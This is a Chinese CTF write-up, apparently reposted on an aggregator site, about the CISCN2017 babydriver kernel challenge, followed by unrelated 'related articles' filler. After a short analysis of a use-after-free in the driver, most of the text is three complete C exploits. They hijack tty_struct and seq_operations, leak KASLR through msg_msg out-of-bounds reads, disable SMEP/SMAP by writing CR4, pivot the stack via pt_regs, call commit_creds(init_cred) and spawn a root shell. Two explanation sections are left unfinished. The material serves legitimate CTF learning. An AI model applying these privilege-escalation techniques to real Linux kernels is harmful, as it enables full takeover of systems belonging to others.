【kernel-pwn】一题多解:从CISCN2017-babydriver入门题带你学习tty_struct、seq_file、msg_msg、pt_regs的利用

本文主要是介绍【kernel-pwn】一题多解:从CISCN2017-babydriver入门题带你学习tty_struct、seq_file、msg_msg、pt_regs的利用,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

前言

本文所用的内核为题目所给的内核,版本为 4.4.72,没有引入 kpti 保护。但是这丝毫不影响以下方法在其他部分版本内核的利用,如果有 kpti 保护,最后返回用户态时用 swapgs_restore_regs_and_return_to_usermode 函数即可。还是就是这里并不讲解直接 fork 修改 cred 结构体的利用方式。

参考:

在 2021 年再看 ciscn_2017 - babydriver(上):cred 与 tty_struct 提权手法浅析-安全客 - 安全资讯平台

在 2021 年再看 ciscn_2017 - babydriver(下):KPTI bypass、ldt_struct 的利用、pt_regs 通用内核ROP解法-安全客 - 安全资讯平台

第五届强网杯线上赛冠军队 WriteUp - Pwn 篇 - 知乎 

 漏洞分析

babayioctl

释放全局变量 babydev_struct 中的 device_buf,然后又重新申请了一个 arg_len 大小的堆块,这里没有限制堆块的大小

babyrelease

当关闭对应设备文件时,释放了全局变量 babydev_struct 中的 device_buf、但是并没有将其置空。如果我们打开两次,并将一个关闭,但是另一个还是可以操作此内存区域

babyread、babywrite

两者的功能如下:

len <= babydev_struct.device_buf_lenbabyread:
copy_to_user(user_buf, babydev_struct.device_buf, len)babywrite:
copy_from_user(babydev_struct.device_buf, user_buf, len)

漏洞很明显,任意大小的 UAF,并且有读写的能力。

漏洞利用

tty_struct -- smep+kaslr

当然也可以利用 tty_struct+pt_regs 去打,但是下面的 seq_file 就是利用的 pt_regs,所以这里这不展示了。

在 /dev 下有一个伪终端设备 ptmx ,在我们打开这个设备时内核中会创建一个 tty_struct 结构体,该结构体中存放着函数指针的结构体 tty_operations。

其中 tty_struct 大小为 0x2e0, 由 kmalloc-1k 分配,分配方式为 GFP_KERNEL_ACCOUNT。

#define TTY_MAGIC        0x5401struct tty_struct {int	magic;struct kref kref; //其实就是一个intstruct device *dev;struct tty_driver *driver;const struct tty_operations *ops;...
}

 其中 tty_operations 会被初始化为全局变量 ptm_unix98_ops  或 pty_unix98_ops,因此我们可以通过 tty_operations 来泄露内核基址。

tty_struct+栈迁移

我们可以通过 UAF 劫持 tty_struct、然后利用 babyread 功能读取 tty_operations 的值从而泄漏内核基地址。

然后由于没有开启 smap 保护,所以可以直接伪造 tty_operations。利用 babywrite 去修改 tty_struct 的 tty_operations 为我们伪造的 tty_operations,最后在将栈迁移到 rop 链的位置即可。

如何进行栈迁移呢?

经过调试发现当执行 tty_operations->write 时,rax 指向的就是 fake_ops。所以我们可以找到一条有 mov rsp, rax;ret 效果的gadget 将栈劫持到 fake_ops 上,但是 fake_ops 上空间较小不足以布置下我们的 rop 链,所以我们可以再次将栈直接劫持到 rop 链的位置。

tty_strcut+wrok_for_cpu_fn -- 不用绕过 kpti 保护

其实我们控制了 tty_struct 结构体后,不用这么麻烦地去进行栈迁移啥的。我们可以利用 work_for_cpu_fn。

在开启了多核支持的内核中都有这个函数,定义于 kernel/workqueue.c 中:

#define container_of(ptr, type, member) ({          \const typeof(((type *)0)->member)*__mptr = (ptr);    \(type *)((char *)__mptr - offsetof(type, member)); })struct work_for_cpu {struct work_struct work;long (*fn)(void *);void *arg;long ret;
};static void work_for_cpu_fn(struct work_struct *work)
{struct work_for_cpu *wfc = container_of(work, struct work_for_cpu, work);wfc->ret = wfc->fn(wfc->arg);
}

该函数可以理解为如下形式:

static void work_for_cpu_fn(size_t * args)
{args[6] = ((size_t (*) (size_t)) (args[4](args[5]));
}

 我们又可以看下函数表:

可以发现当我们执行相关函数时,其第一个参数都是 tty_struct,而 tty_struct 又是我们可以控制的,所以就可以直接在内核中执行相关提权函数了,而无需绕过 smep 等保护

struct tty_operations {struct tty_struct * (*lookup)(struct tty_driver *driver, struct file *filp, int idx);int  (*install)(struct tty_driver *driver, struct tty_struct *tty);void (*remove)(struct tty_driver *driver, struct tty_struct *tty);int  (*open)(struct tty_struct * tty, struct file * filp);void (*close)(struct tty_struct * tty, struct file * filp);void (*shutdown)(struct tty_struct *tty);void (*cleanup)(struct tty_struct *tty);int  (*write)(struct tty_struct * tty,const unsigned char *buf, int count);int  (*put_char)(struct tty_struct *tty, unsigned char ch);void (*flush_chars)(struct tty_struct *tty);unsigned int (*write_room)(struct tty_struct *tty);unsigned int (*chars_in_buffer)(struct tty_struct *tty);int  (*ioctl)(struct tty_struct *tty,unsigned int cmd, unsigned long arg);long (*compat_ioctl)(struct tty_struct *tty,unsigned int cmd, unsigned long arg);
......

与之前不同的是在这里选择劫持 tty_operations 中的 ioctl 而不是 write,因为 tty_struct[4] 处成员ldisc_sem 为信号量,在执行到 work_for_cpu_fn 之前该值会被更改

需要注意的是 tty_operations 中的 ioctl 并不是直接执行的,此前需要经过多道检查,因此我们应当传入恰当的参数,这里直接用长亭师傅wp里面的参数就行了。

需要注意的是,由于 tty_struct 的结构体已经被我们破坏,所以最后还得恢复

exp:

上面两个方法写在一起的

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <sys/types.h>#define PTM_UNIX98_OPS 0xffffffff81a74f80
#define PTY_UNIX98_OPS 0xffffffff81a74e60
#define POP_RDI 0xffffffff810d238d // pop rdi ; ret
#define INIT_CRED 0xffffffff81e48c60
#define COMMIT_CREDS 0xffffffff810a1420
#define PREPARE_KERNEL_CRED 0xffffffff810a1810
#define SWAPGS 0xffffffff81063694 // swapgs ; pop rbp ; ret
#define IRETQ 0xFFFFFFFF8181A797
#define MOV_CR4_RDI_POP 0xffffffff81004d80 // mov cr4, rdi ; pop rbp ; ret
#define MOV_RSP_RAX 0xffffffff8181bfc5 // mov rsp, rax ; dec ebx ; jmp 0xffffffff8181bf7e
#define POP_RSP 0xffffffff81171045 // pop rsp ; ret
#define WORK_FOR_CPU_FN 0xffffffff81095fb0
#define MOV_RDI_RAX_CALL_RDX 0xffffffff8173645a // xor esi, esi ; mov rdi, rax ; call rdx
#define POP_RDX 0xffffffff8144d302 // pop rdx ; ret
#define POP_RAX 0xffffffff8100ce6e // pop rax ; ret
//size_t swapgs_restore_regs_and_return_to_usermode =size_t user_cs, user_rflags, user_rsp, user_ss;void save_status()
{asm("mov %cs, user_cs;""mov %ss, user_ss;""mov %rsp, user_rsp;""pushf;""pop user_rflags;");
//      puts("save status successfully");
}void binary_dump(char *desc, void *addr, int len) {uint64_t *buf64 = (uint64_t *) addr;uint8_t *buf8 = (uint8_t *) addr;if (desc != NULL) {printf("\033[33m[*] %s:\n\033[0m", desc);}for (int i = 0; i < len / 8; i += 4) {printf("  %04x", i * 8);for (int j = 0; j < 4; j++) {i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");}printf("   ");for (int j = 0; j < 32 && j + i * 8 < len; j++) {printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');}puts("");}
}int fd[5];
size_t buf[0x300] = { 0 };
char old_tty[0x300] = { 0 };
size_t kernel_offset;
struct msg_buf {long mtype;char mtext[1];
};void baby_ioctl(int lfd, size_t len)
{ioctl(lfd, 0x10001, len);
}void get_root_privilege()
{void* (*prepare_kernel_cred)(void*) = PREPARE_KERNEL_CRED+kernel_offset;int (*commit_creds)(void*) = COMMIT_CREDS+kernel_offset;(*commit_creds)((*prepare_kernel_cred)(NULL));
}void get_root_shell()
{printf("UID: %d\n", getuid());if (!getuid())puts("Root Root"), execl("/bin/sh", "sh", NULL);else puts("Failed to get root privilege"), exit(-1);
}void fix_tty()
{printf("UID: %d\n", getuid());binary_dump("tty_struct", old_tty, 0x2d0);write(fd[1], old_tty, 0x2d0);close(fd[2]);puts("Success 1");
//      int qid = msgget(IPC_PRIVATE, 0666|IPC_CREAT);
//      char msg[0x800];
//      memset(buf, 'A', 0x800);
//      ((struct msg_buf*)msg)->mtype = 1;
//      msgsnd(qid, msg, 0x2b0, 0);close(fd[1]);puts("Success 2");get_root_shell();puts("SUccess 3");
}void return_user()
{asm("push %0;""push %1;""push %2;""push %3;""push %4;""iretq;"::"r"(user_ss), "r"(user_rsp), "r"(user_rflags), "r"(user_cs), "r"(&get_root_shell));
}int main(int argc, char** argv, char** env)
{save_status();fd[0] = open("/dev/babydev", O_RDWR);fd[1] = open("/dev/babydev", O_RDWR);baby_ioctl(fd[0], 0x2e0);close(fd[0]);fd[2] = open("/dev/ptmx", O_RDWR);read(fd[1], old_tty, 0x2d0);
//      binary_dump("tty_struct", old_tty, 0x2e0);read(fd[1], buf, 0x40);if ((*((int*)buf)) != 0x5401) puts("No alloc tty_struct by UAF"), exit(-1);size_t ops = buf[3];if ((ops&0xfff) == (PTM_UNIX98_OPS&0xfff))puts("ptm_unix98_ops"), kernel_offset = ops - PTM_UNIX98_OPS;else if ((ops&0xfff) == (PTY_UNIX98_OPS&0xfff))puts("pty_unix98_ops"), kernel_offset = ops - PTY_UNIX98_OPS;else puts("error ops"), exit(-1);printf("kernel_offset: %#lx\n", kernel_offset);printf("tty_struct->ops: %#lx\n", ops);size_t rop[0x30];int i = 0;
//      rop[i++] = POP_RDI+kernel_offset;
//      rop[i++] = 0x6f0;
//      rop[i++] = MOV_CR4_RDI_POP+kernel_offset;
//      rop[i++] = 0;
//      rop[i++] = get_root_privilege;rop[i++] = POP_RDI+kernel_offset;//      rop[i++] = 0;
//      rop[i++] = PREPARE_KERNEL_CRED+kernel_offset;
//      rop[i++] = POP_RDX+kernel_offset;
//      rop[i++] = COMMIT_CREDS+kernel_offset;
//      rop[i++] = MOV_RDI_RAX_CALL_RDX+kernel_offset;
//      rop[i++] = 0;
//      rop[i++] = 0;
//      rop[i++] = 0;
//      rop[i++] = 0;rop[i++] = INIT_CRED+kernel_offset;rop[i++] = COMMIT_CREDS+kernel_offset;rop[i++] = SWAPGS+kernel_offset;rop[i++] = 0;rop[i++] = IRETQ+kernel_offset;rop[i++] = get_root_shell;
//      rop[i++] = fix_tty;rop[i++] = user_cs;rop[i++] = user_rflags;rop[i++] = user_rsp;rop[i++] = user_ss;//      rop[i++] = return_user;size_t fake_ops[16] = { 0 };
// 栈迁移 start
//      for (i = 0; i < 8; i++) fake_ops[i] = MOV_RSP_RAX+kernel_offset;
//      fake_ops[0] = POP_RSP+kernel_offset;
//      fake_ops[0] = POP_RAX+kernel_offset;
//      fake_ops[1] = (size_t)rop;
//      printf("fake_ops->write: %#lx\n", fake_ops[7]);
// 栈迁移 endread(fd[1], buf, 0x40);buf[3] = fake_ops;// work_for_cpu_fnbuf[4] = COMMIT_CREDS+kernel_offset;buf[5] = INIT_CRED+kernel_offset;fake_ops[12] = WORK_FOR_CPU_FN+kernel_offset;printf("fake_ops->ioctl: %#lx\n", fake_ops[12]);printf("fake_ops: %#lx\n", fake_ops);write(fd[1], buf, 0x40);//      binary_dump("buf", buf, 0x40);// work_for_cpu_fnioctl(fd[2], 233, 233);write(fd[1], old_tty, 0x2d0);close(fd[2]);system("/bin/sh");// 栈迁移
//      write(fd[2], "", 1);return 0;
}

seq_file -- smep+smap+kaslr

由于 4.4.72 版本的内核没有 swapgs_restore_regs_and_return_to_usermode,所以还是得进行栈迁移。

当我们打开一个 stat 文件时(如/proc/self/stat)时,内核会为其创建一个 seq_file 结构体,该结构体由特定的内存池分配所以不好进行利用,但是该结构体中存在 seq_operations 字段,其为该文件的函数表,该字段由 kmalloc-32分配,分配方式为 GFP_KERNEL_ACCOUNT

struct seq_operations {void * (*start) (struct seq_file *m, loff_t *pos);void (*stop) (struct seq_file *m, void *v);void * (*next) (struct seq_file *m, void *v, loff_t *pos);int (*show) (struct seq_file *m, void *v);
};

而其中的 start 等函数指针会被赋值为全局函数,如 start 会被赋值为 single_start,所以可以用来泄漏内核基地址。

而当我们对该文件进行 read 操作时,最后会调用到 seq_operations->start,所以如果我们可以修改 start,就可以劫持程序执行流,但是需要注意的是这里的参数是不可控的。 

seq_file+pt_regs+栈迁移

如果开启了 smap 保护呢?那通过劫持 tty_struct 伪造 tty_operations 的方法就失效了。

这时候,我们可以选择 seq_file 结构体进行利用。

分析后面再写,有点事

exp:

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <sys/types.h>#define SINGLE_START 0xffffffff8122f4d0
#define POP_RDI 0xffffffff810d238d // pop rdi ; ret
#define INIT_CRED 0xffffffff81e48c60
#define COMMIT_CREDS 0xffffffff810a1420
#define PREPARE_KERNEL_CRED 0xffffffff810a1810
#define SWAPGS 0xffffffff81063694 // swapgs ; pop rbp ; ret
#define IRETQ 0xFFFFFFFF8181A797
#define MOV_CR4_RDI_POP 0xffffffff81004d80 // mov cr4, rdi ; pop rbp ; ret
#define MOV_RSP_RAX 0xffffffff8181bfc5 // mov rsp, rax ; dec ebx ; jmp 0xffffffff8181bf7e
#define POP_RSP 0xffffffff81171045 // pop rsp ; ret
#define WORK_FOR_CPU_FN 0xffffffff81095fb0
#define MOV_RDI_RAX_CALL_RDX 0xffffffff8173645a // xor esi, esi ; mov rdi, rax ; call rdx
#define POP_RDX 0xffffffff8144d302 // pop rdx ; ret
#define POP_RAX 0xffffffff8100ce6e // pop rax ; ret
#define ADD_RSP_XXX 0xFFFFFFFF812743A5
#define ADD_RSP_0x40 0xffffffff8109536e // add rsp, 0x30 ; pop rbx ; pop rbp ; ret
//size_t swapgs_restore_regs_and_return_to_usermode =size_t user_cs, user_rflags, user_rsp, user_ss;void save_status()
{asm("mov %cs, user_cs;""mov %ss, user_ss;""mov %rsp, user_rsp;""pushf;""pop user_rflags;");
//      puts("save status successfully");
}void binary_dump(char *desc, void *addr, int len) {uint64_t *buf64 = (uint64_t *) addr;uint8_t *buf8 = (uint8_t *) addr;if (desc != NULL) {printf("\033[33m[*] %s:\n\033[0m", desc);}for (int i = 0; i < len / 8; i += 4) {printf("  %04x", i * 8);for (int j = 0; j < 4; j++) {i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");}printf("   ");for (int j = 0; j < 32 && j + i * 8 < len; j++) {printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');}puts("");}
}int fd[5];
size_t buf[0x300] = { 0 };
size_t kernel_offset;
struct msg_buf {long mtype;char mtext[1];
};void baby_ioctl(int lfd, size_t len)
{ioctl(lfd, 0x10001, len);
}void get_root_privilege()
{void* (*prepare_kernel_cred)(void*) = PREPARE_KERNEL_CRED+kernel_offset;int (*commit_creds)(void*) = COMMIT_CREDS+kernel_offset;(*commit_creds)((*prepare_kernel_cred)(NULL));
}void get_root_shell()
{printf("UID: %d\n", getuid());if (!getuid())puts("Root Root"), execl("/bin/sh", "sh", NULL);else puts("Failed to get root privilege"), exit(-1);
}void return_user()
{asm("push %0;""push %1;""push %2;""push %3;""push %4;""iretq;"::"r"(user_ss), "r"(user_rsp), "r"(user_rflags), "r"(user_cs), "r"(&get_root_shell));
}int main(int argc, char** argv, char** env)
{save_status();fd[0] = open("/dev/babydev", O_RDWR);fd[1] = open("/dev/babydev", O_RDWR);baby_ioctl(fd[0], 0x20);close(fd[0]);fd[2] = open("/proc/self/stat", O_RDONLY);read(fd[1], buf, 0x18);binary_dump("seq_operations", buf, 0x20);kernel_offset = buf[0] - SINGLE_START;printf("kernel_offset: %#lx\n", kernel_offset);size_t rop[0x30];int i = 0;
//      rop[i++] = POP_RDI+kernel_offset;
//      rop[i++] = 0x6f0;
//      rop[i++] = MOV_CR4_RDI_POP+kernel_offset;
//      rop[i++] = 0;
//      rop[i++] = get_root_privilege;rop[i++] = POP_RDI+kernel_offset;//      rop[i++] = 0;
//      rop[i++] = PREPARE_KERNEL_CRED+kernel_offset;
//      rop[i++] = POP_RDX+kernel_offset;
//      rop[i++] = COMMIT_CREDS+kernel_offset;
//      rop[i++] = MOV_RDI_RAX_CALL_RDX+kernel_offset;
//      rop[i++] = 0;
//      rop[i++] = 0;
//      rop[i++] = 0;
//      rop[i++] = 0;rop[i++] = INIT_CRED+kernel_offset;rop[i++] = COMMIT_CREDS+kernel_offset;rop[i++] = SWAPGS+kernel_offset;rop[i++] = 0;rop[i++] = IRETQ+kernel_offset;rop[i++] = get_root_shell;
//      rop[i++] = fix_tty;rop[i++] = user_cs;rop[i++] = user_rflags;rop[i++] = user_rsp;rop[i++] = user_ss;//      rop[i++] = return_user;buf[0] = ADD_RSP_XXX+kernel_offset;printf("seq_operations->start: %#lx\n", buf[0]);write(fd[1], buf, 8);asm("movq $0x11111111, %%r15\n\t""movq $0x0, %%r14\n\t""movq %1, %%r13\n\t""movq $0x6f0, %%r12\n\t""movq %2, %%rbp\n\t""movq %0, %%rbx\n\t""movq $0x77777777, %%r11\n\t""movq %3, %%r10\n\t""movq %4, %%r9\n\t""movq $0xaaaaaaaa, %%r8\n\t""movq $0xcccccccc, %%rcx\n\t"::"r"(POP_RDI+kernel_offset),"r"(MOV_CR4_RDI_POP+kernel_offset),"r"(ADD_RSP_0x40+kernel_offset),"r"(POP_RSP+kernel_offset),"r"((size_t)rop):);read(fd[2], buf, 8);return 0;
}

seq_file+msg_msg+shm_file_data+pt_regs+栈迁移 -- 不使用read函数

在前面的利用中,我们都可以通过 babayread 直接去泄漏内核基地址,但要是没有 babyread 这个功能呢?我们又该如何去泄漏内核基地址呢?

这里,我选择堆喷 shm_file_data 结构体,然后利用 msg_msg 结构体越界读去泄漏内核基地址。

分析后面再写,有点事

exp:

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <asm/ldt.h>
#include <sys/syscall.h>
#include <sys/ipc.h>
#include <sys/msg.h>#define SINGLE_START 0xffffffff8122f4d0
#define POP_RDI 0xffffffff810d238d // pop rdi ; ret
#define INIT_CRED 0xffffffff81e48c60
#define COMMIT_CREDS 0xffffffff810a1420
#define PREPARE_KERNEL_CRED 0xffffffff810a1810
#define SWAPGS 0xffffffff81063694 // swapgs ; pop rbp ; ret
#define IRETQ 0xFFFFFFFF8181A797
#define MOV_CR4_RDI_POP 0xffffffff81004d80 // mov cr4, rdi ; pop rbp ; ret
#define MOV_RSP_RAX 0xffffffff8181bfc5 // mov rsp, rax ; dec ebx ; jmp 0xffffffff8181bf7e
#define POP_RSP 0xffffffff81171045 // pop rsp ; ret
#define WORK_FOR_CPU_FN 0xffffffff81095fb0
#define MOV_RDI_RAX_CALL_RDX 0xffffffff8173645a // xor esi, esi ; mov rdi, rax ; call rdx
#define POP_RDX 0xffffffff8144d302 // pop rdx ; ret
#define POP_RAX 0xffffffff8100ce6e // pop rax ; ret
#define ADD_RSP_XXX 0xFFFFFFFF812743A5
#define ADD_RSP_0x40 0xffffffff8109536e // add rsp, 0x30 ; pop rbx ; pop rbp ; ret
#define SECONDARY_STARTUP_64 0xffffffff81000110//size_t swapgs_restore_regs_and_return_to_usermode =size_t user_cs, user_rflags, user_rsp, user_ss;void save_status()
{asm("mov %cs, user_cs;""mov %ss, user_ss;""mov %rsp, user_rsp;""pushf;""pop user_rflags;");
//      puts("save status successfully");
}void binary_dump(char *desc, void *addr, int len) {uint64_t *buf64 = (uint64_t *) addr;uint8_t *buf8 = (uint8_t *) addr;if (desc != NULL) {printf("\033[33m[*] %s:\n\033[0m", desc);}for (int i = 0; i < len / 8; i += 4) {printf("  %04x", i * 8);for (int j = 0; j < 4; j++) {i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");}printf("   ");for (int j = 0; j < 32 && j + i * 8 < len; j++) {printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');}puts("");}
}int fd[5];
size_t buf[0x300] = { 0 };
size_t kernel_offset;
struct msg_buf {long mtype;char mtext[1];
};struct msg_header {void* l_next;void* l_prev;long m_type;size_t m_ts;void* next;void* security;
};void baby_ioctl(int lfd, size_t len)
{ioctl(lfd, 0x10001, len);
}void get_root_privilege()
{void* (*prepare_kernel_cred)(void*) = PREPARE_KERNEL_CRED+kernel_offset;int (*commit_creds)(void*) = COMMIT_CREDS+kernel_offset;(*commit_creds)((*prepare_kernel_cred)(NULL));
}void get_root_shell()
{printf("UID: %d\n", getuid());if (!getuid())puts("Root Root"), execl("/bin/sh", "sh", NULL);else puts("Failed to get root privilege"), exit(-1);
}void return_user()
{asm("push %0;""push %1;""push %2;""push %3;""push %4;""iretq;"::"r"(user_ss), "r"(user_rsp), "r"(user_rflags), "r"(user_cs), "r"(&get_root_shell));
}int main(int argc, char** argv, char** env)
{save_status();fd[0] = open("/dev/babydev", O_RDWR);fd[1] = open("/dev/babydev", O_RDWR);fd[2] = open("/dev/babydev", O_RDWR);baby_ioctl(fd[0], 0x1000);close(fd[0]);int qid = msgget(IPC_PRIVATE, 0666|IPC_CREAT);char message[0x2000] = { 0 };struct msg_buf* msg = (struct msg_buf*)message;msg->mtype = 1;memset(msg->mtext, 'A', 0x1020);msgsnd(qid, msg, 0x1020-0x30-0x8, 0);int shmid;char* shmaddr;for (int i = 0; i < 0x50; i++){if ((shmid = shmget(IPC_PRIVATE, 0x1000, 0600)) == -1) puts("Failed to create shm"), exit(-1);shmaddr = shmat(shmid, NULL, 0);if (shmaddr == -1) puts("Failed to execve shmat"), exit(-1);}struct msg_header evil = { 0 };evil.l_next = 0xdeadbeef;evil.l_prev = 0xdeadbeef;evil.m_type = 1;evil.m_ts = 0x1400;write(fd[1], &evil, sizeof(evil)-0x10);msgrcv(qid, buf, 0x1400, 0, IPC_NOWAIT|MSG_COPY|MSG_NOERROR);size_t init_ipc_ns = 0;for (int i = 0; i < 0x1400/8; i++){if ((buf[i]&0xfff) == (0xffffffff81e93f60&0xfff)){init_ipc_ns = buf[i];break;}}binary_dump("OOB read", (char*)buf+0xfd0, 0x100);kernel_offset = init_ipc_ns - 0xffffffff81e93f60;printf("init_ipc_ns: %#lx\n", init_ipc_ns);printf("kernel_offset: %#lx\n", kernel_offset);baby_ioctl(fd[1], 0x20);close(fd[1]);fd[3] = open("/proc/self/stat", O_RDONLY);size_t rop[0x30];int i = 0;
//      rop[i++] = POP_RDI+kernel_offset;
//      rop[i++] = 0x6f0;
//      rop[i++] = MOV_CR4_RDI_POP+kernel_offset;
//      rop[i++] = 0;
//      rop[i++] = get_root_privilege;rop[i++] = POP_RDI+kernel_offset;//      rop[i++] = 0;
//      rop[i++] = PREPARE_KERNEL_CRED+kernel_offset;
//      rop[i++] = POP_RDX+kernel_offset;
//      rop[i++] = COMMIT_CREDS+kernel_offset;
//      rop[i++] = MOV_RDI_RAX_CALL_RDX+kernel_offset;
//      rop[i++] = 0;
//      rop[i++] = 0;
//      rop[i++] = 0;
//      rop[i++] = 0;rop[i++] = INIT_CRED+kernel_offset;rop[i++] = COMMIT_CREDS+kernel_offset;rop[i++] = SWAPGS+kernel_offset;rop[i++] = 0;rop[i++] = IRETQ+kernel_offset;rop[i++] = get_root_shell;
//      rop[i++] = fix_tty;rop[i++] = user_cs;rop[i++] = user_rflags;rop[i++] = user_rsp;rop[i++] = user_ss;//      rop[i++] = return_user;buf[0] = ADD_RSP_XXX+kernel_offset;printf("seq_operations->start: %#lx\n", buf[0]);write(fd[2], buf, 8);asm("movq $0x11111111, %%r15\n\t""movq $0x0, %%r14\n\t""movq %1, %%r13\n\t""movq $0x6f0, %%r12\n\t""movq %2, %%rbp\n\t""movq %0, %%rbx\n\t""movq $0x77777777, %%r11\n\t""movq %3, %%r10\n\t""movq %4, %%r9\n\t""movq $0xaaaaaaaa, %%r8\n\t""movq $0xcccccccc, %%rcx\n\t"::"r"(POP_RDI+kernel_offset),"r"(MOV_CR4_RDI_POP+kernel_offset),"r"(ADD_RSP_0x40+kernel_offset),"r"(POP_RSP+kernel_offset),"r"((size_t)rop):);read(fd[3], buf, 8);return 0;
}

这篇关于【kernel-pwn】一题多解:从CISCN2017-babydriver入门题带你学习tty_struct、seq_file、msg_msg、pt_regs的利用的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/551683

相关文章

HarmonyOS学习(七)——UI(五)常用布局总结

自适应布局 1.1、线性布局(LinearLayout) 通过线性容器Row和Column实现线性布局。Column容器内的子组件按照垂直方向排列,Row组件中的子组件按照水平方向排列。 属性说明space通过space参数设置主轴上子组件的间距,达到各子组件在排列上的等间距效果alignItems设置子组件在交叉轴上的对齐方式,且在各类尺寸屏幕上表现一致,其中交叉轴为垂直时,取值为Vert

Ilya-AI分享的他在OpenAI学习到的15个提示工程技巧

Ilya(不是本人,claude AI)在社交媒体上分享了他在OpenAI学习到的15个Prompt撰写技巧。 以下是详细的内容: 提示精确化:在编写提示时,力求表达清晰准确。清楚地阐述任务需求和概念定义至关重要。例:不用"分析文本",而用"判断这段话的情感倾向:积极、消极还是中性"。 快速迭代:善于快速连续调整提示。熟练的提示工程师能够灵活地进行多轮优化。例:从"总结文章"到"用

Spring Security 从入门到进阶系列教程

Spring Security 入门系列 《保护 Web 应用的安全》 《Spring-Security-入门(一):登录与退出》 《Spring-Security-入门(二):基于数据库验证》 《Spring-Security-入门(三):密码加密》 《Spring-Security-入门(四):自定义-Filter》 《Spring-Security-入门(五):在 Sprin

【前端学习】AntV G6-08 深入图形与图形分组、自定义节点、节点动画(下)

【课程链接】 AntV G6:深入图形与图形分组、自定义节点、节点动画(下)_哔哩哔哩_bilibili 本章十吾老师讲解了一个复杂的自定义节点中,应该怎样去计算和绘制图形,如何给一个图形制作不间断的动画,以及在鼠标事件之后产生动画。(有点难,需要好好理解) <!DOCTYPE html><html><head><meta charset="UTF-8"><title>06

学习hash总结

2014/1/29/   最近刚开始学hash,名字很陌生,但是hash的思想却很熟悉,以前早就做过此类的题,但是不知道这就是hash思想而已,说白了hash就是一个映射,往往灵活利用数组的下标来实现算法,hash的作用:1、判重;2、统计次数;

零基础学习Redis(10) -- zset类型命令使用

zset是有序集合,内部除了存储元素外,还会存储一个score,存储在zset中的元素会按照score的大小升序排列,不同元素的score可以重复,score相同的元素会按照元素的字典序排列。 1. zset常用命令 1.1 zadd  zadd key [NX | XX] [GT | LT]   [CH] [INCR] score member [score member ...]

【机器学习】高斯过程的基本概念和应用领域以及在python中的实例

引言 高斯过程(Gaussian Process,简称GP)是一种概率模型,用于描述一组随机变量的联合概率分布,其中任何一个有限维度的子集都具有高斯分布 文章目录 引言一、高斯过程1.1 基本定义1.1.1 随机过程1.1.2 高斯分布 1.2 高斯过程的特性1.2.1 联合高斯性1.2.2 均值函数1.2.3 协方差函数(或核函数) 1.3 核函数1.4 高斯过程回归(Gauss

数论入门整理(updating)

一、gcd lcm 基础中的基础,一般用来处理计算第一步什么的,分数化简之类。 LL gcd(LL a, LL b) { return b ? gcd(b, a % b) : a; } <pre name="code" class="cpp">LL lcm(LL a, LL b){LL c = gcd(a, b);return a / c * b;} 例题:

【学习笔记】 陈强-机器学习-Python-Ch15 人工神经网络(1)sklearn

系列文章目录 监督学习:参数方法 【学习笔记】 陈强-机器学习-Python-Ch4 线性回归 【学习笔记】 陈强-机器学习-Python-Ch5 逻辑回归 【课后题练习】 陈强-机器学习-Python-Ch5 逻辑回归(SAheart.csv) 【学习笔记】 陈强-机器学习-Python-Ch6 多项逻辑回归 【学习笔记 及 课后题练习】 陈强-机器学习-Python-Ch7 判别分析 【学

Java 创建图形用户界面(GUI)入门指南(Swing库 JFrame 类)概述

概述 基本概念 Java Swing 的架构 Java Swing 是一个为 Java 设计的 GUI 工具包,是 JAVA 基础类的一部分,基于 Java AWT 构建,提供了一系列轻量级、可定制的图形用户界面(GUI)组件。 与 AWT 相比,Swing 提供了许多比 AWT 更好的屏幕显示元素,更加灵活和可定制,具有更好的跨平台性能。 组件和容器 Java Swing 提供了许多